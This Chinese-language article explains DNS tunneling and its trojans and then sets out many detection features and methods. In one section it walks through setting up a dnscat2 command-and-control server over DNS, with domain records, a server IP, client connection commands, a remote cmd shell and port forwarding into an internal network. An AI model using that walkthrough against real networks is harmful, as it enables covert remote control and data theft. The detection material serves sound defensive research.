1. DNS隧道簡介
DNS隧道技術是指利用 DNS協議建立隱蔽信 道,實現隱蔽數據傳輸。最早是在2004年 DanKaminsky 在 Defcon大會上發布的基於 NSTX 的 DNS隱蔽 隧道工具，相關鏈接。
之后出現了越來越多的DNS隱蔽通道工具，例如
1. iodine: https://github.com/yarrick/iodine This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed. 2. Dns2tcp: https://www.aldeid.com/wiki/Dns2tcp Dns2tcp is a tool for relaying TCP connections over DNS. Among other things, it can be used to bypass captive portals (e.g. hotels, airport, ...) when only port 53/udp is allowed by the firewall. 3. tcp-over-dns: http://analogbit.com/software/tcp-over-dns/ tcp-over-dns contains a special dns server and a special dns client. The client and server work in tandem to provide a TCP (and now UDP too!) tunnel through the standard DNS protocol. 4. Heyoka: http://heyoka.sourceforge.net/ Heyoka is a Proof of Concept of an exfiltration tool which uses spoofed DNS requests to create a bidirectional tunnel. It aims to achieve both performance and stealth 5. Dnscat: https://wiki.skullsecurity.org/Dnscat dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server
DNS隧道思想可以被用來進行繞過上網登錄認證，實現免費上網。同時這種“one protocol over the other protocol”的隧道思想還可以被惡意軟件用來進行隱蔽通信。
DNS隧道木馬帶來的威脅很大,而且 DNS隧 道木馬難以得到有效的監控.一方面是因為 DNS報 文具有天然的穿透防火牆的能力;另一方面,目前的 殺毒軟件、IDS等安全策略很少對 DNS報文進行有 效的監控管理。
DNS的記錄類型有很多，大家常見的有A，AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些記錄類型來傳輸數據。例如A，MX，CNAME,TXT，NULL等。
0x1：DNS隧道木馬分類
根據木馬工作原理的不同,將 DNS隧道木馬細 分為IP直連型和域名型.
1. IP直連型 DNS隧道木馬
如果 DNS隧道木馬的服務器可以與本地主機通過IP直接通信，傳輸協議采用 DNS協議，則稱為 IP直連型 DNS隧道木馬。
IP直連型 DNS隧道木馬的服務器端開放53端口，被控端利用 UDPsocket 套接字直接與C&C服務建立連接。在這種情況下，兩者傳輸的內容實際上是基於 UDP服務。
這種木馬與傳統 UDP 木馬的最大不同點就是
1. 利用53端口進行傳輸交互數據，而53端口的外聯基本上在所有機器上都必須開放，否則則無法使用互聯網DNS服務； 2. 精心構造傳輸的載荷內容，使其至少從格式上是符合DNS query包格式，因為如果攻擊者構造的UDP載荷內容不符合DNS報文格式，在 wireshark等流量分析工具的流量解析下，很容易出現 DNS報文異常的情況；
2. 域名型 DNS隧道木馬 - DNS迭代查詢中繼隧道
域名型 DNS隧道木馬基本通信架構如下圖所示
1. 被控端把要傳輸的內容封裝（protocol wrap）在dns query請求包中，發起一次正常的dns解析請求； 2. 當被控端向任意一台DNS服務器請求該域名下的子域名時，本地 DNS服務器無論是通過遞歸查詢還是迭代查詢，都會向外轉發這個DNS請求，最終這個DNS請求都會被送到黑客控制的權威NS服務器中（這意味着黑客必須事先配置好NS以及A記錄解析）； 3. NS服務器控制端解析請求報文，得到被控端傳來的信息，然后將攻擊控制命令通過封裝在DNS響應報文中； 4. 從而實現雙方通信，所有的通信都必須由被控端（client端）主動發起，不斷回傳數據並接受新指令。
中繼過程中的一個關鍵點是對DNS緩存機制的規避，因為如果需要解析的域名在Local DNS Server中已經有緩存時，Local DNS Server就不會轉發數據包。所以在我們構造的請求中，每次查詢的域名都是不一樣的或者是已經是過期的。這個特征同時也包含了一個可用於檢測的規律，即在DNS tunnel的會話中，dns query host的數量會比正常情況下要多，
對DNS載荷的編碼是DNS Tunneling的另一個核心技術。從高層來看，載荷只是客戶端和服務器通信的正常流量。
例如客戶端發送一個A記錄請求給服務器，查詢的主機名為2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo則是客戶端傳遞給服務器的信息，這串字符解碼后的信息便是dnstunneling。
最后，因為大多數場景下，內網的Client位於防火牆后，Server不可能發起連接。所以大多數工具，Client會定時向Server發送請求，保證二者之間的通信狀態。
3. IP直連型和域名解析型異同點
這2種方法雖然工作原理上存在差別，但是從流量角度上來看都是基於DNS協議，但是這里在實際工程中也要注意，你旁路采集的方式可能會影響到你最終能否采集到完整的通信日志，例如如果你是采用記錄dns解析的方法，則可能會漏過udp ip直連的這種通信方式，如果直接在網關上進行“端口和協議解析”則可以保證全流量采集。
IP直連型 DNS隧道木馬直接與 DNS 服務器通過 UDPsocket通信，因此通信效率要比 域名型 DNS隧道木馬高，但是這種 DNS隧道木馬 致命的弱點是直接把IP暴露在網絡流量中，如果客 戶端指定信任的 DNS服務器解析 DNS服務，那么 IP直連型 DNS隧道木馬就很容易被IP 黑白名單 封殺；
對於域名型 DNS隧道木馬而言，只要客戶機 能與任意一台外網的 DNS服務器通信，那么域名型DNS隧道木馬就可以工作，因此域名型 DNS隧道木 馬生存能力更強，隱蔽性更高，更適合進行隱蔽的控 制滲透任務。
2. Powershell+dnscat2實現DNS隱蔽隧道反彈Shell
0x1：C&C域名綁定
需要配置A記錄解析以及NS記錄
# NS記錄: 配置一個ns主機記錄，並將其指向我們自己的A記錄，這樣，受控端在發起dns query請求的時候，會直接指定“dnsch.alihacker.xin”作為dns ns server，然后通過A記錄解析到我們的C&C服務器上，我們在C&C服務器上監聽53端口的ruby程序才能獲取到dns query全文 dnsch.alihacker.xin -> ns.alihacker.xin # 受控端的DNS C&C即為: dnsch.alihacker.xin # A記錄: 將某個dns host解析到C&C IP ns.alihacker.xin -> 120.26.56.250
0x2：在C&C服務器上安裝DNS C&C Server
dnscat2這里充當的角色是接受目標53端口的dns協議query解析請求，並構造response包返回。
安裝過程如下：
apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server #修改Gemfile source 'https://ruby.taobao.org/' bundle install
啟動server端：
# 如果沒有域名的話，直接在外網VPS運行: ruby ./dnscat2.rb -e open -c dnschcirrus --no-cache # 如果配置好了DNS的解析: # -e參數可以規定安全級別，open代表讓客戶端進行選擇 # -c參數定義了pre-shared secret，在服務器端和客戶端使用相同加密的秘密dnschcirrus，可以防止man-in-the-middle攻擊，否則傳輸數據並未加密，有可能被監聽網絡流量的第三方還原。命令行中，如果不加定義，dnscat2 server會生成一個字符串，記得拷貝下來在啟動客戶端時使用。 # --no-cache，如果使用powershell客戶端請務必在運行服務器時添加無緩存選項，因為powershell-dnscat2客戶端與dnscat2服務器的caching模式不兼容 ruby ./dnscat2.rb yourdomain -e open -c dnschcirrus --no-cache ruby ./dnscat2.rb dnsch.alihacker.xin -e open -c dnschcirrus --no-cache
0x3：部署客戶端dnscat2 client
dnscat2有exe版本以及powershell版本，相比之下，powershell的不落盤特性更好。本質上代碼邏輯是一樣的。
# pre-share secret要保持一致 ./dnscat --dns=server=120.26.56.250 --secret=dnschcirrus ./dnscat --dns=server=dnsch.alihacker.xin --secret=dnschcirru # 如果是采用dns解析方式上線 ./dnscat xiaohantest.blankwater.cc --secret=dnschcirrus
0x4：連接建立后，C&C控制端可以執行指令
1. 獲取shell
# 切換到session 1，session 1是新連接上來的dnscat client session -i 1 # 通過help可以看到支持的命令 help # 新生成一個session shell # 通過session -i 2 切過去，此時獲得的shell就是cmdshell session -i 2
2. 端口轉發
session -i id listen 4444 10.211.55.19:22 #將內網10.211.55.19的22端口轉發到本地的4444
然后直接ssh本地的ip的4444端口
0x5：wireshark抓包分析
1. UDP直連模式
可以看到，dnscat通過dns協議的query請求，封裝了加密后的指令執行結果。
同時還注意到，所有dns包的udp五元組都是相同的，受控端和C&C復用了同一個udp會話進行dns隧道通信，我們可以基於這個特點對dns的日志進行udp五元組的聚類，在udp五元組會話的基礎上進行特征工程。
2. 域名解析模型
我們注意到，主要使用了CNAME、MX、以及TXT記錄的查詢。
Relevant Link:
https://mp.weixin.qq.com/s/5mDhzuGC2WEc8bdIjRg94w http://www.91ri.org/16386.html
3. 可用於DNS tunnel的檢測思路 - 基於UDP DNS會話
0x1：DNS query type成分組成異常檢測
1. DNS Tunnel
很多DNS Tunneling使用TXT記錄類型發送請求和響應（例如文件上傳等大數據量功能），而在正常的DNS網絡流量中，TXT記錄的比例可能只有1%-2%，如果時間窗口內，TXT記錄的比例激增，那么也意味着可能存在異常。
2. DNS FF Botnet
另外，在FF Botnet中，NXDOMAIN的比例也會比正常情況下要高。
3. DNS Query types Numbers
the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.
統計一個session會話中的dns type數量
Relevant Link:
https://en.wikipedia.org/wiki/List_of_DNS_record_types
0x2：基於Zipf定律的異常檢測 - Frequency Analysis
在Detecting DNS Tunnels Using Character Frequency Analysis論文中，證明了還可以通過詞頻的檢測識別DNS Tunneling的流量。
根據Zipf定律，在自然語言的語料庫里，詞頻往往會集中於某些小子集中，並且高頻詞到低頻次的頻率逐漸下降。
而在這篇論文中，證明了DNS Tunneling中由於域名做了編碼，不符合Zipf定律（例如dns2tcp），整個分布趨於平穩。
我們可以通過檢測排序后的詞頻平均斜率來檢測inputstring是否符合zipf law規律。
# -*- coding:utf-8 -*- from operator import itemgetter if __name__ == '__main__': dns_query_buf = 'dnscat.0569013e35bca63ff4bbb7012746468a8ddd1e264925a8a35a8236706a81.5b1ee76326594ced6a8822da3090f057e588c2df2d804f3fb04ad9c42d7b.5a15272d5b32f858f8301d7da834e170aa725d57926317c0dd70b01975bb.37ee8c892b5c1b16e3d41d79466d2ba' frequency = {} # uni char frequency count for word in dns_query_buf: count = frequency.get(word, 0) frequency[word] = count + 1 # calculate the mean cumulative slope(平均累積斜率) last_cn = None cumulative_slope = 0 for k, v in reversed(sorted(frequency.items(), key=itemgetter(1))): if not last_cn: # init start last_cn = v continue cumulative_slope += (v - last_cn) cumulative_slope = cumulative_slope / len(frequency) print "cumulative_slope: ", cumulative_slope
Relevant Link:
https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.zipf.html https://code.tutsplus.com/tutorials/how-to-use-python-to-find-the-zipf-distribution-of-a-text-file--cms-26502 https://arxiv.org/pdf/1004.4358.pdf https://stackoverflow.com/questions/43601074/zipf-distribution-how-do-i-measure-zipf-distribution-using-python-numpy https://cloud.tencent.com/developer/article/1040276
0x3：DNS query/answer文本特征
1. n-gram文本特征
通過2-gram/3-gram提取惡意dns query的文本特征，參與訓練。
2. 基於CNN深度神經網絡，從文本角度判斷單條DNS query是否存在可疑Tunnel特征
3. Query/Answer長度特征
, AVG(LENGTH(query_name)) AS queryname_avg -- Query Length Average , MAX(LENGTH(query_name)) AS queryname_max -- Longest/Shortest Meaningful Word Length Average , MIN(LENGTH(query_name)) AS queryname_min -- 13. Answer長度特征 , AVG(LENGTH(anwser_name)) AS answername_avg -- Answer Length Average , MAX(LENGTH(anwser_name)) AS answername_max -- Longest/Shortest Meaningful Word Length Average , MIN(LENGTH(anwser_name)) AS answername_min
普遍來說：
dns tunnel工具產生的dns query會比較長，因為要附帶client的信息回傳；
dns answer會比較短，因為只要傳輸指令，甚至指令action code即可
Relevant Link:
https://github.com/BoneLee/dns_tunnel_dectect_with_CNN http://www.freebuf.com/articles/network/158163.html
0x4：基於會話聚類維度的DNS tunnel行為特征
在網絡通信中，由【源IP地址、源端口、傳輸層協議、目的IP地址、目的端口】這5個量組成的一個集合，稱之為五元組，任意一個數據包都可以將其表示為五元組。五元組能夠區分不同會話，並且對應的會話是唯一的。
研究單個DNS報文並不能從時間區間維度刻畫出完整的DNS隧道木馬的行為，我們可以通過對五元組進行歸並聚類，從DNS會話的角度分析隧道木馬流量。
其依據是DNS隧道木馬在通信過程中通信雙方所扮演的角色和通信模式與正常DNS解析行為具有顯著的差異性（數據中包含一定的規律）
1. DNS會話時長
TCP會話在建立通信過程中存在“三次握手”和斷開連接的“四次握手”行為，因此TCP會話可以計算會話時長。
DNS會話屬於 UDP 會話的其中一種，由於UDP無連接的特性，DNS沒有會話時長的嚴格定義。定義在一次DNS會話中，最后一個DNS報文的時間和第一個DNS報文的時間差就作為這個 DNS會話的時長。
正常情況下，一次DNS解析過程首先由客戶機在本地隨機開啟一個 UDP 端口，然后向指定的DNS服務器53端口發送DNS請求報文，兩者由此建立一個 UDP通道。客戶機一旦得到相應DNS回復報文，這個 DNS解析過程就結束了，如果沒有后繼的DNS解析任務，創建的 UDP套接字會保存一段時間然后關閉，完成一次 DNS 會話，再次進行DNS解析的時候，再隨機開啟另一個UDP端口，重復上述過程。因此，正常域名解析DNS會話的時間短；
對於DNS隧道木馬而言，創建的 UDP 套接字 通常會等到木馬下線或者木馬生命結束才關閉，UDP套接字會被復用，導致 DNS 隧道木馬的 DNS 會話時長遠大於正常DNS會話時長。
2. DNS會話中數據包總數
因為DNS隧道木馬的會話一般隨着木馬生命周期的結束而結束，在整個木馬的生命周期里會向外發送心跳報文、傳輸本機敏感信息、資源文件等，控制端會下達相關的遠程控制指令等。所以在 DNS 隧道木馬會話中 DNS報文數量大。
然而，正常客戶端產生的DNS會話隨着一次DNS解析任務結束而結束，DNS會話比較簡短。大多數情況是2個，由1個DNS請求報文和1個DNS響應報文組成。
3. “上行大包”占請求報文總數的比例
在DNS請求報文中，如果queries字段字節數大於50，那么定義該DNS請求報文為上行大包。
DNS隧道木馬被控端把要傳輸的內容封裝在queries字段的域名中，DNS隧道木馬為了在一次傳輸過程中攜帶盡可能多的隱蔽信息，往往造成queries字段中的域名長度偏長。
與正常DNS會話相比，DNS隧道木馬會話中“上行大包”占請求報文總數的比例較大。
另一方面，如果攻擊者為規避檢測，強制split拆分構造相對短小的域名，從而減少每次發送的報文攜帶的隱蔽通信內容。當被控端傳送某一固定的敏感資源文件，由於傳送的資源文件大小是固定的,如果犧牲一次攜帶的隱蔽信息的內容，勢必造成整個DNS會話的DNS報文總數的增加。
可知,在一次 DNS隧道木馬的會話中，DNS報文總數和DNS報文長度是負相關的。因此我們基於該規律構造一個人工復合特征，即 DNS報文總數 * 平均報文長度 = 總的報文length。
4. “下行小包”占響應報總數的比例
DNS隧道木馬在交互過程中，控制端發送的控制命令一般有特定含義，且短小精簡，因此DNS隧道回復報文一般是“下行小包”。
對於正常本機DNS解析請求而言，客戶機是資源請求者，DNS服務器返回的數據除了answers字段外，還經常返回授權和額外信息字段信息，因此正常的 DNS響應報文相對較大。
我們定義如下：將 DNS應答報文中answers字段字節數小於50的數據包稱為“下行小包”。
5. 有效載荷的上傳下載比
DNS會話報文中的有效載荷是指DNS報文中除去DNS報文頭部剩下的queries字段和answers字段、授權和額外信息字段的內容。
DNS隧道木馬在和控制端交互通信時，DNS隧道木馬控制端向被控端發送少量的控制命令，被控端需要回傳大量的本機敏感資源文件數據。
然而，正常DNS解析情況剛好相反，客戶端DNS請求報文通常短小，而DNS服務器返回的數據信息比較多。因此DNS隧道木馬會話的上傳下載比例比一般正常的DNS會話大。
6. 有效載荷部分是否加密
DNS協議是一種明文傳輸協議，DNS隧道木馬出於提高通信內容隱蔽性的需要，往往會對通信數據進行加密，因此把加密的DNS數據作為可疑的DNS隧道木馬通信的一個特征。為了提高特征工程速度，我們可以使用信息熵作為是否存在加密的衡量標准。
7. 域名對應的主機名數量
對於DNS隧道木馬而言，控制端要不斷借助DNS qury的query_name來承載要傳輸的內容，所以從主機數量這個維度來看，在一個DNS tunnel會話中，域名對應的主機名數量會明顯大於正常的DNS通信。
8. FQDN數異常檢測
可以通過分析一定時間窗口內所產生的FQDN數，通常DNS Tunneling的FQDN數在一定時間窗口內會遠高於正常的DNS流量。
9. 總的query 報文Payload載荷量
0x5：響應時間相關特征
1. Response wait time特征
正常的dns server會在較短時間內完成dns響應，而dns tunnel server由於需要進行數據的解碼以及后續處理邏輯，響應時間會稍微較長
0x6：信息熵
可以通過計算query和answer或者它們的平均的信息熵進行特征化dns tunnel是否可能存在
0x7：發包頻率行為
在實際的線上環境中，存在一些DNS Flood攻擊行為，這部分攻擊觸發的行為日志很容易命中到DNS Tunnel模型，例如：
BQGGMMPCHJPKPBKCHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
JLMBOHPCDFDIOLFFHDKJNPQFCMFCHIKONEPKCBEHHNKDMJPPBGEMHCJIMOOEBLE.BGHJNMDOJBQDGGMJCMIQOFFJLLBOHBODEGKIQLGOMQCDJGPIF.ns2.diaozhatian.me
對於這種情況，我們需要將所有DNS會話包之前的間隔統計出來，計算它們的均值/方差等特征
Relevant Link:
《基於通信行為分析的DNS隧道木馬檢測方法》pdf https://arxiv.org/pdf/1709.08395.pdf http://www.cnblogs.com/wuyuxiang/p/5166653.html https://www.hindawi.com/journals/scn/2018/6137098/
4. 可用於DNS tunnel的檢測思路 - 基於DNS QUERY維度
0x1：Network Features - 網絡訪問行為方面的特征
1. 域名被訪問頻率角度特征
除了從單台主機上的異常dns session維度進行異常檢測，還可以從dns query name的角度進行惡意dns name進行惡意檢測與打標。
1. Rare domains: Domain names of CnC servers are rare since they are seldom requested by legitimate users. 2. Young domains: When a domain generation algorithm (DGA) is used the CnC server frequently acquires new domain names hence they tend to be recently registered. We use a massive daily updated data feed to map domain names to their registration date 3. Non-existent domain responses: When DGA is used, Botnets query many non-existing domains before they find the actual domain of their CnC server for that time
2. TTL (last seen - first seen)
The majority of the legitimate websites that provide high availability services uses TTL values between 600 and 3,600 seconds . On the other hand, malicious domain names tend to have smaller TTL values. In addition, Dynamic DNS providers frequently used to host domains related to malicious activity also use low TTL values
group by后計算
last seen - first seen 不用用原生的ttl
3. window
Malicious domain names used in botnets FF networks typically do not have a fixed set of machines. Over time, botnets will acquire new bots which will be introduced in the flux and certain bots might eventually be cleaned or disassociated from the botnet.
計算同一個dns name的answer的distinct數量
4. dns name change frequency
Legitimate domains that have load balancing due to the amount of traffic received, often do so by having multiple hosts associated to each domain name. Such is the case for CDNs. On the other hand, botmasters do not want to attract attention to the generated CnC traffic, as a consequence they often cycle the IP addresses associated to the CnC servers. In addition, the number of different TTL values can be used to identify malicious domains due to the fact that malicious domains might exhibit several changes, while one could expect benign domains to remain rather unchanged
With these three features we expect to measure how a domain changes over time.
F23 number of different answers
F24 number of different values of TTL
F25-27 1. Maximum TTL 2. Mean TTL 3. Variance of TTL
0x2：Lexical Features
Lexical特征的原理是：
The rationale behind this set of features is related to the fact that many malicious domain names look like randomly generated (particularly in the case of DGAs) and often tend to look different [28]. Furthermore, legitimate domain names are typically user friendly, composed of native words and easy to remember. On the other hand, malicious domain names are not intended for human use so do not share such characteristics.
惡意DNS域名傾向於表現為類似隨機字符串，而正常的DNS域名常常是可讀友好的、由簡單詞匯組成、易於記憶的。
1. 域名本身詞頻特征層面特征
詞頻特征將通過[1,4]-gram的詞頻特征得以體現
針對每條dns name（一次dns query/answer交互），我們可以將其抽象為下列的詞頻特征向量：
F1-3 1-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F4-6 2-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F7-9 3-gram 1. mean 2. variance 3. standard deviation 4. range(極差) F10-12 4-gram 1. mean 2. variance 3. standard deviation 4. range(極差)
2. 域名的香儂熵
calc_entropy(query_name) AS query_name_entropy
香儂熵體現了字符串詞頻混亂度的一種體現。詞頻分布越平均（越混亂），香儂熵越大。
3. 字符分布特征 -可讀性/易讀性方面的體現
F15 Number of different characters F16 Number of digits / domain name length F17 Number of consonants / domain name length F18 Number of consonants / number of vowels
一般來說，一個易讀、容易記憶的域名中，元音、輔音、數字的占比會呈現出一定的規律，而類似DGA那種隨機化的域名則不滿足該規律。
0x3：DNS session會話相關特征
1. Number of IP subnetworks
While corporate domains tend to allocate their machines within the same subnetwork or a small finite set of subnetworks, botnets harvests their bots from different locations, often randomly. As such, one can expect that domains used for FF, and associated with botnet activity, will have answers that belong to several different IP subnetworks
F34-36 1. A類CIDER地址數量 2. B類CIDER地址數量 3. C類CIDER地址數量
2. DNS對應的src_ip/dst_ip count相關特征
APT attackers usually use servers residing in different countries to build C&C channel in order to evade detection. Moreover, attackers make use of fast flux to hide the true attack source. APT attacker changes the C&C domain to point to predefined IP addresses, such as look back address and invalid IP address. With this insight, we extracted three features from DNS request and response, such as the number of distinct source IP addresses, the number of distinct IP addresses with the same domain, IP in the same country, and using the predefined IP addresses.
統計該dns name對應的session五元組的dst_ip/dst_port的數量 - 揭示FF bot特征
還可以加上A/B/C cider數量的統計
The botnet domains are only known to the bots, who will try to query them according to the botnet program. Therefore, the sources of the query messages are restricted to the areas where the bots exist.
統計該dns name對應的session五元組的src_ip/src_port的數量 - 揭示該dns name只被有限的botnet victim所訪問
還可以加上A/B/C cider數量的統計
3. DNS query type組成成分相關特征
the DNS querying of the botnet is mainly to find the IP address of the C&C, then the number of querying types are limited and the four main query types are A, AAAA, MX and NS. However, the types of benign name querying are more than those, which may additionally include ANY, TXT, SRV, SOA, CNAME, A6 and so on.
統計一個session會話中的dns type數量
0x4：DNS域名相關meta信息
1. whois-based features
Registration duration
Active duration
Update duration
Number of DNS
Relevant Link:
https://azure.microsoft.com/zh-cn/blog/large-scale-analysis-of-dns-query-logs-reveals-botnets-in-the-cloud/ Botnet Detection Using Passive DNS Master Thesis Pedro Marques da Luz z-thesis_pedroluz.pdf https://www.certsi.es/en/blog/botnet-detection-dns https://ieeexplore.ieee.org/document/7453917/ https://sci-hub.tw/https://ieeexplore.ieee.org/document/7453917/
5. 異常數據清洗
在進行模型預測之前，我們需要先對原始數據進行清洗，避免大量的正常日志數據進入預測，降低召回率和精確度。
0x1：基線異常過濾思路
將一台主機上歷史（例如7天）未曾出現過的DNS query看成是基線異常，而對那部分一直在出現或者曾經發生過的query請求進行過濾。
0x2：無監督異常abnormal檢測算法
使用例如one-class svm異常檢測算法從原始數據中篩選出一批明顯區別於正常dns query請求。